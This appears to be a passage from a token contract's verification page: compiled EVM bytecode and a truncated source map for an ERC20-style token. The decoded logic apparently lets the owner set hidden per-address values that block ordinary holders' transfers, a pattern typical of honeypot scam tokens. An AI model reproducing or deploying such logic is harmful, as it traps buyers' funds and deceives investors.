3656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203171817682a596e756354b54dedc0c0f8f9fd4597589ddf4dfd3dc7814f7a5c764736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102c5578063dd62ed3e146102f5578063de4763a614610325578063f2fde38b1461034157610100565b8063715018a61461024f5780638da5cb5b1461025957806395d89b4114610277578063a457c2d71461029557610100565b806323b872dd116100d357806323b872dd146101a1578063313ce567146101d157806339509351146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806310a161a21461015357806318160ddd14610183575b600080fd5b61010d61035d565b60405161011a9190611466565b60405180910390f35b61013d60048036038101906101389190611530565b6103ef565b60405161014a919061158b565b60405180910390f35b61016d600480360381019061016891906115a6565b61040d565b60405161017a91906115e2565b60405180910390f35b61018b610560565b60405161019891906115e2565b60405180910390f35b6101bb60048036038101906101b691906115fd565b61056a565b6040516101c8919061158b565b60405180910390f35b6101d9610643565b6040516101e6919061166c565b60405180910390f35b61020960048036038101906102049190611530565b61065a565b604051610216919061158b565b60405180910390f35b610239600480360381019061023491906115a6565b61070d565b60405161024691906115e2565b60405180910390f35b610257610756565b005b6102616107de565b60405161026e9190611696565b60405180910390f35b61027f610807565b60405161028c9190611466565b60405180910390f35b6102af60048036038101906102aa9190611530565b610899565b6040516102bc919061158b565b60405180910390f35b6102df60048036038101906102da9190611530565b610966565b6040516102ec919061158b565b60405180910390f35b61030f600480360381019061030a91906116b1565b610984565b60405161031c91906115e2565b60405180910390f35b61033f600480360381019061033a9190611839565b610a0b565b005b61035b600480360381019061035691906115a6565b610c11565b005b60606006805461036c906118c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906118c4565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610d08565b8484610d10565b6001905092915050565b60008061303990506000816002836104259190611924565b61042f9190611966565b9050600060018083610441919061199a565b61044b9190611966565b905060006005808361045d91906119fd565b6104679190611924565b9050600081826104779190611966565b9050600081036104de578485600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cd9190611924565b6104d791906119fd565b9050610537565b8081600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461052a9190611966565b610534919061199a565b90505b6000828383610546919061199a565b6105509190611966565b9050809650505050505050919050565b6000600954905090565b6000610577848484610ed9565b61063884610583610d08565b61063385604051806060016040528060288152602001611f3660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e9610d08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a79092919063ffffffff16565b610d10565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6000610703610667610d08565b846106fe8560026000610678610d08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fc90919063ffffffff16565b610d10565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61075e610d08565b73ffffffffffffffffffffffffffffffffffffffff1661077c6107de565b73ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990611a7a565b60405180910390fd5b6107dc6000611312565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610816906118c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610842906118c4565b801561088f5780601f106108645761010080835404028352916020019161088f565b820191906000526020600020905b81548152906001019060200180831161087257829003601f168201915b5050505050905090565b600061095c6108a6610d08565b8461095785604051806060016040528060258152602001611f5e60259139600260006108d0610d08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a79092919063ffffffff16565b610d10565b6001905092915050565b600061097a610973610d08565b8484610ed9565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a136107de565b73ffffffffffffffffffffffffffffffffffffffff16610a31610d08565b73ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90611b0c565b60405180910390fd5b600061ddd590506000600282610a9d9190611924565b905060008282610aad9190611966565b905060005b8551811015610c09578160046000888481518110610ad357610ad2611b2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838486610b26919061199a565b610b309190611966565b60036000888481518110610b4757610b46611b2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508182610b999190611966565b60056000888481518110610bb057610baf611b2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610c0190611b5b565b915050610ab2565b505050505050565b610c19610d08565b73ffffffffffffffffffffffffffffffffffffffff16610c376107de565b73ffffffffffffffffffffffffffffffffffffffff1614610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8490611a7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf390611c15565b60405180910390fd5b610d0581611312565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7690611ca7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590611d39565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ecc91906115e2565b60405180910390a3505050565b600061303990506000600282610eef9190611924565b905081600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf90611dcb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e90611e5d565b60405180910390fd5b60006110628661040d565b90506000811180156110ae57506110776107de565b73ffffffffffffffffffffffffffffffffffffffff16611095610d08565b73ffffffffffffffffffffffffffffffffffffffff1614155b156110f6578084116110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90611eef565b60405180910390fd5b5b61116284604051806060016040528060268152602001611f1060269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a79092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f784600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fc90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161129791906115e2565b60405180910390a3505050505050565b60008383111582906112ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e69190611466565b60405180910390fd5b5082840390509392505050565b6000818361130a919061199a565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114105780820151818401526020810190506113f5565b60008484015250505050565b6000601f19601f8301169050919050565b6000611438826113d6565b61144281856113e1565b93506114528185602086016113f2565b61145b8161141c565b840191505092915050565b60006020820190508181036000830152611480818461142d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c78261149c565b9050919050565b6114d7816114bc565b81146114e257600080fd5b50565b6000813590506114f4816114ce565b92915050565b6000819050919050565b61150d816114fa565b811461151857600080fd5b50565b60008135905061152a81611504565b92915050565b6000806040838503121561154757611546611492565b5b6000611555858286016114e5565b92505060206115668582860161151b565b9150509250929050565b60008115159050919050565b61158581611570565b82525050565b60006020820190506115a0600083018461157c565b92915050565b6000602082840312156115bc576115bb611492565b5b60006115ca848285016114e5565b91505092915050565b6115dc816114fa565b82525050565b60006020820190506115f760008301846115d3565b92915050565b60008060006060848603121561161657611615611492565b5b6000611624868287016114e5565b9350506020611635868287016114e5565b92505060406116468682870161151b565b9150509250925092565b600060ff82169050919050565b61166681611650565b82525050565b6000602082019050611681600083018461165d565b92915050565b611690816114bc565b82525050565b60006020820190506116ab6000830184611687565b92915050565b600080604083850312156116c8576116c7611492565b5b60006116d6858286016114e5565b92505060206116e7858286016114e5565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61172e8261141c565b810181811067ffffffffffffffff8211171561174d5761174c6116f6565b5b80604052505050565b6000611760611488565b905061176c8282611725565b919050565b600067ffffffffffffffff82111561178c5761178b6116f6565b5b602082029050602081019050919050565b600080fd5b60006117b56117b084611771565b611756565b905080838252602082019050602084028301858111156117d8576117d761179d565b5b835b8181101561180157806117ed88826114e5565b8452602084019350506020810190506117da565b5050509392505050565b600082601f8301126118205761181f6116f1565b5b81356118308482602086016117a2565b91505092915050565b600080604083850312156118505761184f611492565b5b600083013567ffffffffffffffff81111561186e5761186d611497565b5b61187a8582860161180b565b925050602061188b8582860161151b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118dc57607f821691505b6020821081036118ef576118ee611895565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061192f826114fa565b915061193a836114fa565b9250828202611948816114fa565b9150828204841483151761195f5761195e6118f5565b5b5092915050565b6000611971826114fa565b915061197c836114fa565b9250828203905081811115611994576119936118f5565b5b92915050565b60006119a5826114fa565b91506119b0836114fa565b92508282019050808211156119c8576119c76118f5565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a08826114fa565b9150611a13836114fa565b925082611a2357611a226119ce565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a646020836113e1565b9150611a6f82611a2e565b602082019050919050565b60006020820190508181036000830152611a9381611a57565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611af66021836113e1565b9150611b0182611a9a565b604082019050919050565b60006020820190508181036000830152611b2581611ae9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b66826114fa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b9857611b976118f5565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611bff6026836113e1565b9150611c0a82611ba3565b604082019050919050565b60006020820190508181036000830152611c2e81611bf2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c916024836113e1565b9150611c9c82611c35565b604082019050919050565b60006020820190508181036000830152611cc081611c84565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d236022836113e1565b9150611d2e82611cc7565b604082019050919050565b60006020820190508181036000830152611d5281611d16565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611db56025836113e1565b9150611dc082611d59565b604082019050919050565b60006020820190508181036000830152611de481611da8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e476023836113e1565b9150611e5282611deb565b604082019050919050565b60006020820190508181036000830152611e7681611e3a565b9050919050565b7f45524332303a2063726f737320616d6f756e7420646f6573206e6f742065717560008201527f616c207468652063726f7373207472616e7366657220616d6f756e7400000000602082015250565b6000611ed9603c836113e1565b9150611ee482611e7d565b604082019050919050565b60006020820190508181036000830152611f0881611ecc565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203171817682a596e756354b54dedc0c0f8f9fd4597589ddf4dfd3dc7814f7a5c764736f6c63430008130033

Deployed Bytecode Sourcemap

3408:6692:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4534:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5899:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7532:730;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5000:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6117:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4736:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6579:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5116:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1639:94;;;:::i;:::-;;1323:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4633:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8270:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5466:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5690:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6883:645;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1741:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4534:91;4579:13;4612:5;4605:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4534:91;:::o;5899:210::-;6018:4;6040:39;6049:12;:10;:12::i;:::-;6063:7;6072:6;6040:8;:39::i;:::-;6097:4;6090:11;;5899:210;;;;:::o;7532:730::-;7590:7;7606:25;7634:5;7606:33;;7646:25;7698:17;7694:1;7674:17;:21;;;;:::i;:::-;:41;;;;:::i;:::-;7646:69;;7722:31;7780:1;7776;7756:17;:21;;;;:::i;:::-;:25;;;;:::i;:::-;7722:59;;7788:34;7855:1;7851;7825:23;:27;;;;:::i;:::-;:31;;;;:::i;:::-;7788:68;;7863:18;7913:26;7884;:55;;;;:::i;:::-;7863:76;;7966:1;7952:10;:15;7948:197;;8036:17;8016;7993:11;:20;8005:7;7993:20;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;:60;;;;:::i;:::-;7980:73;;7948:197;;;8127:10;8114;8091:11;:20;8103:7;8091:20;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;:46;;;;:::i;:::-;8078:59;;7948:197;8153:14;8212:26;8183;8170:10;:39;;;;:::i;:::-;:68;;;;:::i;:::-;8153:85;;8252:6;8245:13;;;;;;;;7532:730;;;:::o;5000:108::-;5061:7;5088:12;;5081:19;;5000:108;:::o;6117:454::-;6257:4;6274:36;6284:6;6292:9;6303:6;6274:9;:36::i;:::-;6321:220;6344:6;6365:12;:10;:12::i;:::-;6392:138;6448:6;6392:138;;;;;;;;;;;;;;;;;:11;:19;6404:6;6392:19;;;;;;;;;;;;;;;:33;6412:12;:10;:12::i;:::-;6392:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;6321:8;:220::i;:::-;6559:4;6552:11;;6117:454;;;;;:::o;4736:91::-;4785:5;4810:9;;;;;;;;;;;4803:16;;4736:91;:::o;6579:300::-;6694:4;6716:133;6739:12;:10;:12::i;:::-;6766:7;6788:50;6827:10;6788:11;:25;6800:12;:10;:12::i;:::-;6788:25;;;;;;;;;;;;;;;:34;6814:7;6788:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;6716:8;:133::i;:::-;6867:4;6860:11;;6579:300;;;;:::o;5116:177::-;5235:7;5267:9;:18;5277:7;5267:18;;;;;;;;;;;;;;;;5260:25;;5116:177;;;:::o;1639:94::-;1562:12;:10;:12::i;:::-;1551:23;;:7;:5;:7::i;:::-;:23;;;1543:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1704:21:::1;1722:1;1704:9;:21::i;:::-;1639:94::o:0;1323:87::-;1369:7;1396:6;;;;;;;;;;;1389:13;;1323:87;:::o;4633:95::-;4680:13;4713:7;4706:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4633:95;:::o;8270:400::-;8390:4;8412:228;8435:12;:10;:12::i;:::-;8462:7;8484:145;8541:15;8484:145;;;;;;;;;;;;;;;;;:11;:25;8496:12;:10;:12::i;:::-;8484:25;;;;;;;;;;;;;;;:34;8510:7;8484:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8412:8;:228::i;:::-;8658:4;8651:11;;8270:400;;;;:::o;5466:216::-;5588:4;5610:42;5620:12;:10;:12::i;:::-;5634:9;5645:6;5610:9;:42::i;:::-;5670:4;5663:11;;5466:216;;;;:::o;5690:201::-;5824:7;5856:11;:18;5868:5;5856:18;;;;;;;;;;;;;;;:27;5875:7;5856:27;;;;;;;;;;;;;;;;5849:34;;5690:201;;;;:::o;6883:645::-;6979:7;:5;:7::i;:::-;6963:23;;:12;:10;:12::i;:::-;:23;;;6959:77;;6990:43;;;;;;;;;;:::i;:::-;;;;;;;;6959:77;7042:25;7070:5;7042:33;;7082:25;7130:1;7110:17;:21;;;;:::i;:::-;7082:49;;7138:18;7179:17;7159;:37;;;;:::i;:::-;7138:58;;7208:9;7203:322;7227:8;:15;7223:1;:19;7203:322;;;7291:10;7260:15;:28;7276:8;7285:1;7276:11;;;;;;;;:::i;:::-;;;;;;;;7260:28;;;;;;;;;;;;;;;:41;;;;7388:17;7368;7359:6;:26;;;;:::i;:::-;:46;;;;:::i;:::-;7332:11;:24;7344:8;7353:1;7344:11;;;;;;;;:::i;:::-;;;;;;;;7332:24;;;;;;;;;;;;;;;:73;;;;7487:10;7474;:23;;;;:::i;:::-;7436:22;:35;7459:8;7468:1;7459:11;;;;;;;;:::i;:::-;;;;;;;;7436:35;;;;;;;;;;;;;;;:61;;;;7244:3;;;;;:::i;:::-;;;;7203:322;;;;6952:576;;;6883:645;;:::o;1741:192::-;1562:12;:10;:12::i;:::-;1551:23;;:7;:5;:7::i;:::-;:23;;;1543:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1850:1:::1;1830:22;;:8;:22;;::::0;1822:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1906:19;1916:8;1906:9;:19::i;:::-;1741:192:::0;:::o;878:98::-;931:7;958:10;951:17;;878:98;:::o;9717:380::-;9870:1;9853:19;;:5;:19;;;9845:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9951:1;9932:21;;:7;:21;;;9924:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10035:6;10005:11;:18;10017:5;10005:18;;;;;;;;;;;;;;;:27;10024:7;10005:27;;;;;;;;;;;;;;;:36;;;;10073:7;10057:32;;10066:5;10057:32;;;10082:6;10057:32;;;;;;:::i;:::-;;;;;;;;9717:380;;;:::o;8678:1031::-;8810:20;8833:5;8810:28;;8849:27;8894:1;8879:12;:16;;;;:::i;:::-;8849:46;;8952:12;8926:15;:23;8942:6;8926:23;;;;;;;;;;;;;;;:38;;;;9004:19;8975:15;:26;8991:9;8975:26;;;;;;;;;;;;;;;:48;;;;9082:1;9064:20;;:6;:20;;;9056:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9166:1;9145:23;;:9;:23;;;9137:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9219:21;9243:18;9254:6;9243:10;:18::i;:::-;9219:42;;9292:1;9276:13;:17;:44;;;;;9313:7;:5;:7::i;:::-;9297:23;;:12;:10;:12::i;:::-;:23;;;;9276:44;9272:172;;;9354:13;9345:6;:22;9337:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;9272:172;9476:108;9512:6;9476:108;;;;;;;;;;;;;;;;;:9;:17;9486:6;9476:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;9456:9;:17;9466:6;9456:17;;;;;;;;;;;;;;;:128;;;;9618:32;9643:6;9618:9;:20;9628:9;9618:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9595:9;:20;9605:9;9595:20;;;;;;;;;;;;;;;:55;;;;9683:9;9666:35;;9675:6;9666:35;;;9694:6;9666:35;;;;;;:::i;:::-;;;;;;;;8799:910;;;8678:1031;;;:::o;3155:240::-;3275:7;3333:1;3328;:6;;3336:12;3320:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3375:1;3371;:5;3364:12;;3155:240;;;;;:::o;2865:98::-;2923:7;2954:1;2950;:5;;;;:::i;:::-;2943:12;;2865:98;;;;:::o;1941:173::-;1997:16;2016:6;;;;;;;;;;;1997:25;;2042:8;2033:6;;:17;;;;;;;;;;;;;;;;;;2097:8;2066:40;;2087:8;2066:40;;;;;;;;;;;;1986:128;1941:173;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:117::-;6129:1;6126;6119:12;6143:180;6191:77;6188:1;6181:88;6288:4;6285:1;6278:15;6312:4;6309:1;6302:15;6329:281;6412:27;6434:4;6412:27;:::i;:::-;6404:6;6400:40;6542:6;6530:10;6527:22;6506:18;6494:10;6491:34;6488:62;6485:88;;;6553:18;;:::i;:::-;6485:88;6593:10;6589:2;6582:22;6372:238;6329:281;;:::o;6616:129::-;6650:6;6677:20;;:::i;:::-;6667:30;;6706:33;6734:4;6726:6;6706:33;:::i;:::-;6616:129;;;:::o;6751:311::-;6828:4;6918:18;6910:6;6907:30;6904:56;;;6940:18;;:::i;:::-;6904:56;6990:4;6982:6;6978:17;6970:25;;7050:4;7044;7040:15;7032:23;;6751:311;;;:::o;7068:117::-;7177:1;7174;7167:12;7208:710;7304:5;7329:81;7345:64;7402:6;7345:64;:::i;:::-;7329:81;:::i;:::-;7320:90;;7430:5;7459:6;7452:5;7445:21;7493:4;7486:5;7482:16;7475:23;;7546:4;7538:6;7534:17;7526:6;7522:30;7575:3;7567:6;7564:15;7561:122;;;7594:79;;:::i;:::-;7561:122;7709:6;7692:220;7726